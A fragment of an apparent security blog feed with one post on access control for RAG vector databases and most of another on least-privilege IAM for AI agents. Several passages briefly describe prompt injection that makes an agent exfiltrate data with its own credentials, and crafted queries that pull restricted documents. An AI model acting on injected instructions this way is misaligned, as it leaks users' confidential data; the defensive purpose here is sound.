  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> → <strong>RAG Access Control</strong> → <a href="/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Most vector databases have no document-level access control by default — if a document was indexed, any query can retrieve it</li>
<li>In a multi-user RAG application, this means User A&#8217;s confidential documents can end up in User B&#8217;s context window without any API call, auth token, or permission check failing</li>
<li><strong>RAG access control</strong> requires enforcement at three separate layers: at ingestion (what gets indexed), at retrieval (what the query can return), and at the application layer (what the model receives)</li>
<li>The technical solutions exist — namespace isolation, metadata filtering, Row Level Security on pgvector, Weaviate RBAC — but they require deliberate implementation; they are not defaults</li>
<li>The IAM principle is the same one that solved the S3 bucket problem: you must assume all data in the store is sensitive, and access must be granted explicitly, not assumed by adjacency</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> OWASP LLM08 — Vector and Embedding Weaknesses. This episode covers the access control gap that makes vector databases the most commonly misconfigured IAM boundary in LLM deployments.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">RAG PIPELINE: WHERE ACCESS CONTROL BREAKS DOWN

User A                     User B
  │                           │
  ▼                           ▼
[Query: &quot;summarize           [Query: &quot;what are our
 my performance review&quot;]      Q4 revenue projections?&quot;]
         │                           │
         └──────────┬────────────────┘
                    ▼
            ┌──────────────┐
            │  LLM / RAG   │
            │  Application │
            └──────┬───────┘
                   │
                   ▼ similarity search
            ┌──────────────────────────────┐
            │     Vector Database          │
            │  ┌─────────────────────────┐ │
            │  │ performance_review_a    │ │ ← User A&#039;s private doc
            │  │ q4_revenue_projections  │ │ ← Finance-only doc
            │  │ engineering_runbook     │ │ ← Internal ops doc
            │  │ hr_salary_bands         │ │ ← HR-only doc
            │  │ customer_contracts      │ │ ← Legal-only doc
            │  └─────────────────────────┘ │
            │  ← ONE collection, no ACLs   │
            └──────────────────────────────┘

Without access control, User B&#039;s query about &quot;projections&quot;
can semantically retrieve User A&#039;s performance review,
the salary band document, and customer contracts
— all in a single unauthenticated vector similarity search.
</code></pre>
<p><strong>RAG access control</strong> is the IAM problem that most vector database deployments skip entirely. The retrieval layer is effectively a permission-free zone: if a document is indexed, it is queryable. The permissions model that governs who uploaded the document has no connection to the permissions model that governs who can retrieve it.</p>
<hr />
<h2 id="why-this-happens">Why This Happens</h2>
<p>The fastest path to a working RAG system is also the path with no access control:</p>
<ol>
<li>Index all your documents into one vector store collection</li>
<li>At query time, run a similarity search</li>
<li>Pass the top-N results to the model as context</li>
</ol>
<p>This works. It produces a demo that impresses stakeholders. And it has no concept of &#8220;is the user who submitted this query authorized to read these retrieved documents?&#8221;</p>
<p>The problem is structural: vector similarity search is a mathematical operation on embeddings. It finds nearest neighbors in a high-dimensional space. It does not have a concept of authorization. The database returns the most semantically similar documents to the query — full stop. It does not know or care who is asking or what they are allowed to see.</p>
<p>This is the same failure class as public S3 buckets. The storage system itself is not wrong — it returned what it was asked for. The mistake is not building the access control layer that determines what can be asked.</p>
<p>The consequence in RAG is worse than in S3 in one specific way: the exposure is invisible. When someone accesses a public S3 bucket, there&#8217;s an explicit HTTP request and a 200 response in the access logs. In RAG, the unauthorized document surfaces inside a model response. There&#8217;s no explicit &#8220;unauthorized document retrieved&#8221; event. The application sent a query; the database returned results; the model included them in its answer. Everything &#8220;worked.&#8221;</p>
<hr />
<h2 id="how-user-as-data-ends-up-in-user-bs-context">How User A&#8217;s Data Ends Up in User B&#8217;s Context</h2>
<p>Three realistic scenarios:</p>
<p><strong>Scenario 1: Semantic proximity</strong></p>
<p>User A uploads a performance review: &#8220;Alice achieved 94% of her targets in Q3, and her compensation adjustment is scheduled for December.&#8221;</p>
<p>User B asks about Q3 performance metrics for the engineering team.</p>
<p>The similarity search returns User A&#8217;s document as a top-N result because it contains &#8220;Q3,&#8221; &#8220;performance,&#8221; and numerical metrics. The model includes it in the context and may summarize or reference it in its answer.</p>
<p>No authentication was bypassed. No API was misused. A semantically similar document was retrieved by a semantically similar query.</p>
<p><strong>Scenario 2: Shared namespace, different sensitivity levels</strong></p>
<p>A knowledge base contains both public documentation (product manuals, FAQ articles) and internal documents (salary bands, acquisition targets, unreleased roadmap). They&#8217;re all indexed together because the indexing pipeline processes all documents from a shared document store.</p>
<p>A user with access to the public KB submits queries that — through careful phrasing — retrieve internal documents via semantic overlap. They never access the internal document store directly. They access it through the model&#8217;s context window.</p>
<p><strong>Scenario 3: Cross-tenant retrieval</strong></p>
<p>A SaaS application uses a shared vector database for all customers. Customer A uploads their proprietary process documentation. Customer B&#8217;s query, framed in similar terminology, retrieves Customer A&#8217;s documents.</p>
<p>This is a data breach. It does not involve any failed authentication — it involves missing authorization at the retrieval layer.</p>
<hr />
<h2 id="the-three-enforcement-points">The Three Enforcement Points</h2>
<p>Fixing RAG access control requires thinking about authorization at three distinct layers, not one.</p>
<h3 id="layer-1-ingestion-what-gets-indexed">Layer 1: Ingestion — What Gets Indexed</h3>
<p>Every document that enters the vector store should be tagged with the identity of its owner and the scope of who is authorized to retrieve it. This metadata travels with the document through the pipeline.</p>
<pre><code class="" data-line="">vector_store.upsert(
    id=&quot;doc_performance_review_alice_2024&quot;,
    vector=embedding,
    metadata={
        &quot;owner_user_id&quot;: &quot;user_alice&quot;,
        &quot;authorized_roles&quot;: [&quot;hr_manager&quot;, &quot;alice&quot;],
        &quot;sensitivity&quot;: &quot;restricted&quot;,
        &quot;department&quot;: &quot;engineering&quot;,
    }
)
</code></pre>
<p>If the document has no access control metadata, treat it as the most sensitive class, not the least. Default-deny.</p>
<p>This requires the indexing pipeline to have access to the permission model. The pipeline needs to know, at index time, who can retrieve this document. That means the indexing service must be integrated with your IAM system — not just your document store.</p>
<h3 id="layer-2-retrieval-what-the-query-can-return">Layer 2: Retrieval — What the Query Can Return</h3>
<p>Every similarity search should be filtered by the requesting user&#8217;s authorization context. Most vector databases support metadata filtering at query time.</p>
<pre><code class="" data-line=""># Retrieve only documents the requesting user is authorized to see
results = vector_store.query(
    vector=query_embedding,
    filter={
        &quot;$or&quot;: [
            {&quot;owner_user_id&quot;: {&quot;$eq&quot;: current_user_id}},
            {&quot;authorized_roles&quot;: {&quot;$in&quot;: current_user_roles}},
        ]
    },
    top_k=5
)
</code></pre>
<p>This is the equivalent of parameterized queries in SQL — you are not filtering after the fact, you are scoping the search space before retrieval. Only documents the user is authorized to see are candidates for the similarity search.</p>
<p><strong>What each vector store supports:</strong></p>
<table>
<thead>
<tr>
<th>Database</th>
<th>Access Control Mechanism</th>
<th>Granularity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pinecone</td>
<td>Namespaces (partition isolation)</td>
<td>Namespace-level</td>
</tr>
<tr>
<td>Weaviate</td>
<td>RBAC (per-class and per-object)</td>
<td>Object-level</td>
</tr>
<tr>
<td>pgvector</td>
<td>PostgreSQL Row Level Security (RLS)</td>
<td>Row-level</td>
</tr>
<tr>
<td>Qdrant</td>
<td>Payload filters at query time</td>
<td>Per-document metadata</td>
</tr>
<tr>
<td>Chroma</td>
<td>Collections with custom metadata filters</td>
<td>Collection + filter</td>
</tr>
<tr>
<td>Milvus</td>
<td>Partition keys + role-based access</td>
<td>Partition-level</td>
</tr>
</tbody>
</table>
<p>pgvector via PostgreSQL RLS is the strongest option — authorization is enforced at the database engine level, not in application code. The query cannot return rows the RLS policy does not permit, regardless of how the application constructs the query.</p>
<pre><code class="" data-line="">-- PostgreSQL RLS policy for vector store table
ALTER TABLE document_embeddings ENABLE ROW LEVEL SECURITY;

CREATE POLICY user_isolation ON document_embeddings
    USING (
        owner_user_id = current_setting(&#039;app.current_user_id&#039;)
        OR current_setting(&#039;app.current_user_id&#039;) = ANY(authorized_user_ids)
    );
</code></pre>
<p>With this policy, even if the application layer is compromised or misconfigured, the database will not return unauthorized rows.</p>
<h3 id="layer-3-application-what-the-model-receives">Layer 3: Application — What the Model Receives</h3>
<p>Even with ingestion-time tagging and retrieval-time filtering, there is a third layer: validating retrieved documents before they are passed to the model.</p>
<p>This is the paranoid layer. It assumes retrieval filtering may have gaps (a new document type that wasn&#8217;t tagged, a filter logic bug, a configuration drift). Before the retrieved chunks enter the model&#8217;s context window, verify their authorization against your canonical permission system.</p>
<pre><code class="" data-line=""># Post-retrieval authorization check
authorized_chunks = [
    chunk for chunk in retrieved_chunks
    if permissions.is_authorized(
        user_id=current_user_id,
        resource_id=chunk.metadata[&quot;document_id&quot;],
        action=&quot;read&quot;
    )
]
# Only pass authorized_chunks to the model
</code></pre>
<p>This is defense-in-depth for the retrieval layer. Each layer can catch failures in the layer before it.</p>
<hr />
<h2 id="the-service-account-problem-in-rag-pipelines">The Service Account Problem in RAG Pipelines</h2>
<p>Beyond user-level access control, RAG pipelines have a service account problem.</p>
<p>A typical RAG pipeline has three services: an embedding service (converts documents to vectors), a retrieval service (queries the vector store), and a generation service (calls the LLM with the retrieved context). In most deployments, all three run under the same service account with broad access to the vector store.</p>
<p>This creates a privilege escalation path: if an attacker can compromise the generation service (via prompt injection, for example), they can pivot to the retrieval service&#8217;s permissions because they&#8217;re the same identity. The generation service doesn&#8217;t need write access to the vector store — but if it runs under the same account as the embedding service, it has it.</p>
<p>Correct architecture:</p>
<pre><code class="" data-line="">Embedding Service   ── service-account: embed-sa
  └─ Permissions: vector_store:write (ingestion only)

Retrieval Service   ── service-account: retrieve-sa
  └─ Permissions: vector_store:read (query only, filtered by user context)

Generation Service  ── service-account: generate-sa
  └─ Permissions: llm_api:invoke (no direct vector store access)
  └─ Receives retrieved chunks via the retrieval service, not directly
</code></pre>
<p>Three services, three service accounts, three scoped permission sets. The generation service never touches the vector store directly — it receives pre-filtered, pre-authorized chunks from the retrieval service. A compromised generation service cannot exfiltrate the full vector store.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>&#8220;We&#8217;ll add access control after we get the retrieval quality right&#8221;</strong><br />
Retrieval quality work (tuning chunk size, embedding models, similarity thresholds) generates many query examples. Those examples often span the full document corpus with no filtering. By the time you want to add access control, you have a pipeline that has never been tested with filters active, and adding filters now changes the retrieval behavior in ways that may break your quality benchmarks. Build access control into the pipeline before tuning retrieval quality — not after.</p>
<p><strong>Namespace isolation without metadata means you still have a shared infrastructure problem</strong><br />
Pinecone namespaces are storage partitions — separate query spaces, not separate security boundaries at the infrastructure level. The Pinecone index itself is still a single IAM-controlled resource. If your application logic routes the wrong user query to the wrong namespace, the filtering doesn&#8217;t fire. Namespace isolation reduces risk; it does not eliminate the need for query-time authorization checks.</p>
<p><strong>Embedding model updates break access control metadata if you&#8217;re not careful</strong><br />
When you re-embed your corpus with a new model, you typically truncate and re-index. If the access control metadata is only in the vector store (not also in your document store), re-indexing will drop it. Treat access control metadata as a property of the document, not of the embedding — store it in your document store and re-attach it during any re-indexing operation.</p>
<p><strong>The retrieval service is the database for access control purposes</strong><br />
Teams that run careful security reviews on their application database often don&#8217;t apply the same review to their vector store. If the vector store contains documents from multiple users or sensitivity levels, it should receive the same security review as your primary database — network isolation, access logging, credential rotation, encryption at rest.</p>
<hr />
<h2 id="quick-reference-rag-access-control-decision-matrix">Quick Reference: RAG Access Control Decision Matrix</h2>
<table>
<thead>
<tr>
<th>Your Architecture</th>
<th>Minimum Required Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>Single-tenant app</td>
<td>Index-level access control (one index per app), service account isolation per pipeline stage</td>
</tr>
<tr>
<td>Multi-user app, shared corpus</td>
<td>Metadata filtering at query time + post-retrieval authorization check</td>
</tr>
<tr>
<td>Multi-tenant SaaS</td>
<td>Namespace/collection isolation per tenant + metadata filtering within namespace</td>
</tr>
<tr>
<td>Regulated data (PII, financial)</td>
<td>PostgreSQL RLS or equivalent engine-level enforcement + full audit logging</td>
</tr>
<tr>
<td>Agent with autonomous retrieval</td>
<td>All of the above + limit the agent&#8217;s retrieval service account to read-only, specific namespaces</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP LLM08</td>
<td>Vector and Embedding Weaknesses</td>
<td>This episode is the access control dimension of LLM08</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Principle: access to data must be authorized, not assumed</td>
</tr>
<tr>
<td>NIST AI RMF</td>
<td>MAP 2.1</td>
<td>Scientific basis for how AI capabilities interact with existing access control requirements</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 Logical access controls</td>
<td>Evidence: vector store access control policies and query-time filtering</td>
</tr>
<tr>
<td>GDPR / Privacy</td>
<td>Art. 25 (Data protection by design)</td>
<td>Access control at retrieval is a technical privacy safeguard by default</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Vector databases have no document-level access control by default — authorization must be built explicitly at ingestion, retrieval, and the application layer</li>
<li>The exposure is semantic, not structural: unauthorized documents are returned as semantically similar results, with no failed authentication to detect</li>
<li>Three enforcement points: tag documents at ingestion, filter at retrieval, verify at the application layer before context reaches the model</li>
<li>Separate service accounts for embedding, retrieval, and generation services — the generation service should never have direct vector store access</li>
<li>pgvector with PostgreSQL RLS is the strongest technical control — authorization enforced at the database engine, not in application code</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>The retrieval layer is one part of the pipeline. The full LLM pipeline — embedding service, retrieval service, generation service, tool execution layer — has an identity problem at every stage. In EP03, we build out the complete OIDC and workload identity architecture for an LLM pipeline, so each service has its own bounded identity with short-lived tokens instead of static credentials.</p>
<p><a href="/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines →</a></p>
<p>Get EP03 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&#038;title=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" data-a2a-url="https://linuxcent.com/rag-access-control-vector-database-iam/" data-a2a-title="RAG Access Control: The IAM Layer Your Vector Database Doesn’t Have"></a></p><p>The post <a href="https://linuxcent.com/rag-access-control-vector-database-iam/">RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/rag-access-control-vector-database-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1908</post-id>	</item>
		<item>
		<title>The Non-Human Identity Problem Is Back</title>
		<link>https://linuxcent.com/non-human-identity-ai-agents/</link>
					<comments>https://linuxcent.com/non-human-identity-ai-agents/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 09 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[AI Agents]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Management]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[Non-Human Identity]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1905</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>AI agents are non-human identities — and we are repeating every IAM anti-pattern from the cloud-native era, faster, with actors that are autonomous and manipulable.</p>
<p>The post <a href="https://linuxcent.com/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Identity in the Agentic Era, Episode 1</em><br />
<em>Medium | ~2,000 words | 8-minute read</em></p>
<hr />
<p>I was reviewing an AI-powered internal tool a team had shipped to production. It summarized documents, answered questions about internal policy, and could update records in a few internal systems based on what it found.</p>
<p>When I asked what credentials it ran under, the engineer pulled up the service account configuration.</p>
<p><code class="" data-line="">AdministratorAccess</code>.</p>
<p>&#8220;It needed to read from S3, query DynamoDB, call a few internal APIs,&#8221; he said. &#8220;We weren&#8217;t sure exactly what it needed, so we gave it everything and planned to tighten it later.&#8221;</p>
<p>I had heard that sentence before. Almost word for word. In 2017, auditing an AWS account where six Lambda functions each carried three full-access managed policies because someone needed them to work quickly and planned to tighten them later. In 2019, reviewing a GCP project where a service account had <code class="" data-line="">roles/editor</code> at the folder level for the same reason.</p>
<p>We are re-running the same IAM mistakes from the last decade, at speed, with a new class of actors that are harder to audit, harder to predict, and capable of taking autonomous action at a scale no human operator could match.</p>
<p>The non-human identity problem is back. And it brought reinforcements.</p>
<hr />
<h2 id="the-last-time-we-had-this-problem">The Last Time We Had This Problem</h2>
<p>In the early cloud era, the explosion of non-human identities was Lambda functions, EC2 instance profiles, container service accounts, CI/CD pipeline roles. Engineers needed these workloads to access cloud resources. The fastest path was broad permissions. And because nobody was accountable for &#8220;the Lambda&#8217;s IAM role&#8221; specifically, nobody came back to tighten it.</p>
<p>The IAM practices that emerged over the following years — least privilege policies, generated from actual usage rather than estimated requirements; workload identity federation instead of static credentials; OIDC short-lived tokens instead of long-lived access keys — were direct responses to the mess that accumulates when you grant first and audit never.</p>
<p>That took about a decade to normalize. Many environments still aren&#8217;t there.</p>
<p>Now we have AI agents. And we are starting the cycle again from scratch.</p>
<hr />
<h2 id="what-makes-ai-agents-different-as-identities">What Makes AI Agents Different as Identities</h2>
<p>The workload identity problem from 2015 was hard because of scale — hundreds of Lambda functions, thousands of EC2 instances, each needing its own carefully scoped permissions.</p>
<p>AI agents introduce three properties that make the identity problem qualitatively harder.</p>
<p><strong>Autonomy.</strong> A Lambda function does exactly what its code says. An AI agent decides what to do based on a prompt, context, and model behavior. The set of actions it might take is not fully enumerable at deployment time. This means you cannot reason about &#8220;what does this agent need access to&#8221; the same way you reason about a deterministic workload.</p>
<p><strong>Manipulability.</strong> A Lambda function cannot be convinced to do something outside its code by a malicious user prompt. An AI agent can. If the agent has access to customer data and an attacker can inject a prompt that instructs it to exfiltrate that data, the agent&#8217;s valid credentials become the attack vector. This is prompt injection — and it turns IAM from a defense into a liability if permissions are too broad.</p>
<p><strong>Opacity.</strong> When a Lambda function with <code class="" data-line="">s3:GetObject</code> reads a file, you know exactly why: the code called that API. When an AI agent reads a file, the reason is a chain of model decisions that may not be logged, may not be auditable, and may not be consistent across runs. The audit trail that IAM depends on — who accessed what and why — becomes significantly harder to maintain.</p>
<hr />
<h2 id="the-same-mistakes-same-causes">The Same Mistakes, Same Causes</h2>
<p>Walk through an AI agent deployment today and the anti-patterns are familiar:</p>
<p><strong>Over-provisioned service accounts.</strong> The agent needs to read documents, call an API, maybe update a record. Rather than enumerate exactly which documents, which API endpoints, which records — all of which requires upfront work — the team grants broad access and ships. The access never gets tightened because the agent works and nobody is specifically accountable for its permissions.</p>
<p><strong>Static long-lived credentials.</strong> The agent&#8217;s API keys are in environment variables. They were created six months ago. They&#8217;ve never been rotated. If the agent is compromised or its runtime environment is accessed, those credentials are available — and they&#8217;re broad.</p>
<p><strong>No audit trail.</strong> The agent runs under a shared service account used by other services too. When CloudTrail shows an unexpected S3 read from that account, there is no way to know whether it came from the agent, the other service, or something else entirely.</p>
<p><strong>&#8220;We&#8217;ll tighten it later.&#8221;</strong> The phrase that has followed every IAM explosion since 2012. Later rarely comes while the system is working.</p>
<p>These are not AI-specific failures. They are IAM failures that AI deployments are inheriting because the teams building agents are not always the same teams who spent the last decade cleaning up cloud IAM.</p>
<hr />
<h2 id="what-least-privilege-looks-like-for-an-ai-agent">What Least Privilege Looks Like for an AI Agent</h2>
<p>Applying least privilege to an AI agent requires working backwards from what the agent is actually allowed to do, not what it might conceivably need.</p>
<p><strong>Enumerate the agent&#8217;s actions, not its access.</strong> A document summarization agent needs to read specific document stores, nothing else. An agent that updates records needs write access to specific tables with specific conditions — not the whole database. Define the scope from the action, not from the model&#8217;s capability.</p>
<p><strong>Scope by data sensitivity.</strong> Not all data the agent could access is data the agent should access. An agent answering internal HR policy questions does not need read access to financial records. Separate the data stores. Separate the service accounts. The blast radius of a prompt injection attack is bounded by the permissions of the compromised service account.</p>
<p><strong>Use short-lived credentials.</strong> If your AI agent runtime supports OIDC or workload identity federation — and most production platforms now do — use it. The agent gets a short-lived token scoped to its task. No long-lived key to rotate, no orphaned credential to discover later.</p>
<p><strong>One service account per agent, per environment.</strong> Not a shared service account. Not the same account in staging and production. Each agent identity should be independently auditable, independently revocable.</p>
<pre><code class="" data-line=""># What you want to see in CloudTrail
eventSource: s3.amazonaws.com
eventName: GetObject
userIdentity:
  type: AssumedRole
  arn: arn:aws:sts::123456789:assumed-role/agent-doc-summarizer-prod/session

# What you don&#039;t want to see
userIdentity:
  arn: arn:aws:iam::123456789:user/ai-service-shared
</code></pre>
<p>The first entry tells you which agent, which role, which session. The second tells you nothing useful.</p>
<hr />
<h2 id="the-audit-gap">The Audit Gap</h2>
<p>Here is the problem that doesn&#8217;t have a clean solution yet: even with a properly scoped service account, you know <em>that</em> the agent accessed a resource. You do not know <em>why</em> — what prompt triggered it, what reasoning led to it, what the agent was trying to accomplish.</p>
<p>This is the provenance gap in AI systems. Traditional IAM audit logs capture the action and the identity. For AI agents, you need a third dimension: the reasoning chain that produced the action.</p>
<p>Without that, your audit trail for compliance purposes is incomplete. You can prove that <code class="" data-line="">agent-doc-summarizer-prod</code> read a file. You cannot prove whether it did so because a user asked a legitimate question or because an attacker injected a prompt that caused it to retrieve and expose that file.</p>
<p>Solving this requires logging not just the API call, but the context that produced it — the prompt, the model&#8217;s decision path, the tool call sequence. That logging infrastructure doesn&#8217;t exist out of the box in most AI frameworks today. Building it is one of the open problems in AI security, and it is an IAM problem at its core.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
